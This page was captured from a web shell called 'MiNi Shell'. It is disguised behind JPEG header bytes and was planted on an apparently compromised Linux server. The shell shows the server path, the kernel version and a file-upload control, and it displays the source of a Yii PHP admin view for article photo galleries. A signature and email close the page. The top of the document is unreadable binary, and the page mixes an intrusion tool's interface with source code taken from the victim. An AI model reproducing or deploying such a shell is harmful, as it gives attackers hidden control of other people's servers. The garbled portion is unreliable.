JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/articles/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/articles/_form_tab_photos.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use common\components\widgets\Pjax;
use yii\widgets\ActiveForm;
use common\components\helpers\Image2;
use backend\components\widgets\FlashMessages;
use yii\bootstrap\Modal;
use kartik\widgets\FileInput;

/* @var $this yii\web\View */

$this->registerJs(
   '$("document").ready(function(){ 
        $(".modal-create-photo-button").on("click", function() {
            $("#modal-photo").modal("show").find("#article-photo-form-pjax").load($(this).data("url"));
        });
        
        $(".modal-upload-photos-button").on("click", function() {
            $("#article-photos-fileinput").fileinput("clear");
            $("#modal-photos-upload").modal("show");
        });
        
//        $(\'a[data-customconfirm]\').on("click", function(e){
//            if (confirm($(this).data("customconfirm")) !== true) {
//                return false;
//            } 
//        });
        
        $("#article-photo-form-pjax").on("pjax:end", function() {
            $.pjax.reload({container:"#article-photos-pjax", async: false});
            if($("#article-photo-form-pjax .alert.alert-success").length) {
                $("#modal-photo").modal("hide");
            }
        });
        
        /* zmiany w zdjęciach */
        $("#article-photos-pjax").on("pjax:end", function() {
            $(\'a[href="#tabPhotos"]\').parent().removeClass("has-changes");
            $(\'#articles-tabs button[type="submit"]\').prop("disabled",false);
            $(".modal-create-photo-button,.modal-upload-photos-button").prop("disabled",false);
            $("#articles-tabs").find(".vjs-changes-cancel").addClass("hide");    
        }); 
        
       $( "[data-vjs-changes]" ).on("change", function() {
           $(\'a[href="#tabPhotos"]\').parent().addClass("has-changes");
           $(\'#articles-tabs button[type="submit"]\').not(".vjs-changes").prop("disabled",true);
           $(".modal-create-photo-button,.modal-upload-photos-button").prop("disabled",true);
           $(this).find(".vjs-changes-cancel").removeClass("hide");       
       });

        $(".vjs-changes-cancel").on("click",function(){
            $.pjax.reload({container:"#article-photos-pjax",async: false});
            return false;
        });
        /*---*/
        
        $("#article-gallery-form").on("beforeValidate", function(e, msg, parentEvent) {
            var thumbnails = $("#photos-container .thumbnail").each(function() {
                $(this).find(".vjs-order").val($(this).index()+1);
            });
        });
        
        $("#article-photos-pjax").on("click", ".button-remove-photo", function(e) {
            if (confirm($(this).data("customconfirm")) !== true) {
                return false;
            } 
            var container = $(this).closest(".thumbnail");
            container.find("input").each(function(index) {
                jQuery("#article-gallery-form").yiiActiveForm("remove", $(this).attr("id"));
            });
            container.change().remove();
            return false;
        }); 
        
        $("#article-photos-pjax").sortable({
            items: ".thumbnail",
            cursor: "move",
            scroll: true,
            start: function (event,ui) {
            },
            change: function (event, ui) {
            },
            beforeStop: function (event, ui) {
            },
            deactivate: function (event,ui) {
                $.each($(ui.item).parent().find(".vjs-order"), function(i){
                    $(this).val(i+1).change();
                });
            }
        });

    });'
);

$modelsPhotos = $model->getPhotos()->orderBy('photo_order')->indexBy('id_photo')->all();

$modelArticlesImagesForm = new \backend\models\ImagesUploadForm();
?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-photos-upload', 'size' => Modal::SIZE_LARGE]); ?>
    <?php $form = ActiveForm::begin([
        'id' => 'article-photos-form',
        'enableAjaxValidation' => false,
        'enableClientValidation' => true,
        'options' => [
//                'role' => 'form',
            'enctype' => 'multipart/form-data',
//            'data-pjax' => true
        ],
    ]); ?>

    <div class="row">
        <?php
//        echo $form->field($modelArticlesImagesForm, 'images[]', ['options' => ['class' => 'col-md-12']])->widget(FileInput::classname(), [
//            'options' => ['accept' => 'image/*', 'multiple' => true],
//            'pluginEvents' => [
//                'filebatchuploadcomplete' => 'function(event, files, extra) { $.pjax.reload({container:"#article-photos-pjax", async: false}); }',
////                'fileuploaded' => 'function(event, data, previewId, index) { console.log(data); }',
//            ],
//            'pluginOptions' => [
////                'showUpload' => false,
////                'browseOnZoneClick' => true,
//                'showUploadedThumbs' => false,
//                'browseLabel' => '',
//                'removeLabel' => '',
//                'showRemove' => false,
//                'uploadUrl' => Url::to(['/articles/upload-photo']),
//                'uploadExtraData' => [
//                    'id_article' => Yii::$app->request->get('id')
//                ],
//                'initialPreviewAsData' => true,
//                'maxFileCount' => 2,
//                'maxFileSize' => 100,
//                'layoutTemplates' => ['actionUpload' => ''],
////                'uploadAsync' => false
//            ],
//        ]); 
        ?>
        <div class="col-md-12">
            <label class="control-label" for="images"><?= Yii::t('backend', 'Zdjęcia') ?></label>
        <?= FileInput::widget([
            'id' => 'article-photos-fileinput',
            'name' => 'images',
            'options' => ['accept' => 'image/*', 'multiple' => true],
            'pluginEvents' => [
                'filebatchuploadcomplete' => 'function(event, files, extra) { $.pjax.reload({container:"#article-photos-pjax", async: false}); $("#modal-photos-upload").modal("hide"); }',
//                'fileuploaded' => 'function(event, data, previewId, index) { $.pjax.reload({container:"#article-photos-pjax", async: false}); }',
                'filedeleted' => 'function(event, key, jqXHR, data) { $.pjax.reload({container:"#article-photos-pjax", async: false}); }',
            ],
            'pluginOptions' => [
//                'showUpload' => false,
//                'browseOnZoneClick' => true,
                'showUploadedThumbs' => false,
                'browseLabel' => '',
                'removeLabel' => '',
                'showRemove' => false,
                'uploadUrl' => Url::to(['/articles/upload-photo']),
                'uploadExtraData' => [
                    'id_article' => Yii::$app->request->get('id')
                ],
                'initialPreviewAsData' => true,
                'maxFileCount' => 10,
                'maxFileSize' => 3072, /*kb*/
                'layoutTemplates' => ['actionUpload' => ''],
//                'uploadAsync' => false
            ],
        ]); ?>
        </div>
    </div>

    <?php ActiveForm::end(); ?>
<?php Modal::end(); ?> 

<div class="articles-photos-list box-body" data-vjs-changes>
    <?= Html::button(Yii::t('backend', 'Dodaj'), ['class' => 'btn btn-success pull-right modal-create-photo-button', 'data' => ['url' => Url::to(['articles/create-photo', 'id_article' => Yii::$app->request->get('id')])]]) ?>
    <?= Html::button(Yii::t('backend', 'Dodaj wiele'), ['class' => 'btn btn-success pull-right modal-upload-photos-button', 'style' => 'margin-right:10px;', 'data' => ['url' => Url::to(['articles/upload-photos', 'id_article' => Yii::$app->request->get('id')])]]) ?>
    <div class="clearfix">&nbsp;</div>
    <hr>
    <?php 
        Pjax::begin([
            'id' => 'article-photos-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
//                'async' => false
            ]
        ]); 
    ?>
    <?= FlashMessages::widget(); ?>
        <?php $form = ActiveForm::begin([
            'id' => 'article-gallery-form',
            'action' => ['articles/update-gallery', 'id' => $model->id_article],
            'enableAjaxValidation' => true,
            'enableClientValidation' => false,
            'validateOnSubmit' => true,
            'validateOnChange' => true,
            'validateOnType' => true,            
            'options' => [
                'role' => 'form',
                'data-pjax' => true
            ],
        ]); ?>
    
        <?php if(!empty($modelsPhotos)): ?>
            <div id="photos-container" class="sortable-photos">
            <?php foreach($modelsPhotos as $key => $modelPhoto): ?>
                <div class="col-md-2 thumbnail">
                    <a href="<?= $modelPhoto->getImageUrl(true) ?>" rel="lightbox">
                        <span class="btn btn-danger button-remove-photo" style="position:absolute;right:3px;" data-customconfirm="<?= Yii::t('backend', 'Czy na pewno chcesz usunąć wybrany element?') ?>"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></span>
                        <img alt="<?php if(!empty($modelPhoto->title)): ?><?= Html::encode($modelPhoto->title) ?><?php endif; ?>" src="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '200x200', Image2::OPERATION_FRAME); ?>" />
                    </a>
                    <?= Html::activeHiddenInput($modelPhoto, '['.$key.']photo_order', ['class' => 'vjs-order']) ?>
                    <?= $form->field($modelPhoto, '['.$key.']title', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'caption']])->textInput(['maxlength' => true, 'class' => 'form-control']) ?>
                    <?php 
//                        echo Html::a(Yii::t('backend', 'Usuń'), ['articles/delete-photo', 'id' => $modelPhoto->id_photo], [
//                            'class' => 'btn btn-danger',
//                            'data' => [
//                                'customconfirm' => Yii::t('backend', 'Czy na pewno chcesz usunąć wybrany element?'),
//                            ],
//                        ]) 
                    ?>
                </div>
            <?php endforeach; ?>
            <div class="clarfix"></div>
            </div>
            <div class="clearfix"></div>
            <?= Html::submitButton(Yii::t('backend', 'Aktualizuj'), ['class' => 'btn btn-primary vjs-changes']) ?>
        <?php endif; ?>
    
        <?php ActiveForm::end(); ?> 
    <?php Pjax::end(); ?>    
    <span class="btn btn-danger vjs-changes-cancel hide pull-right" style="cursor:pointer;margin-top:-35px;">Anuluj zmiany</span>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com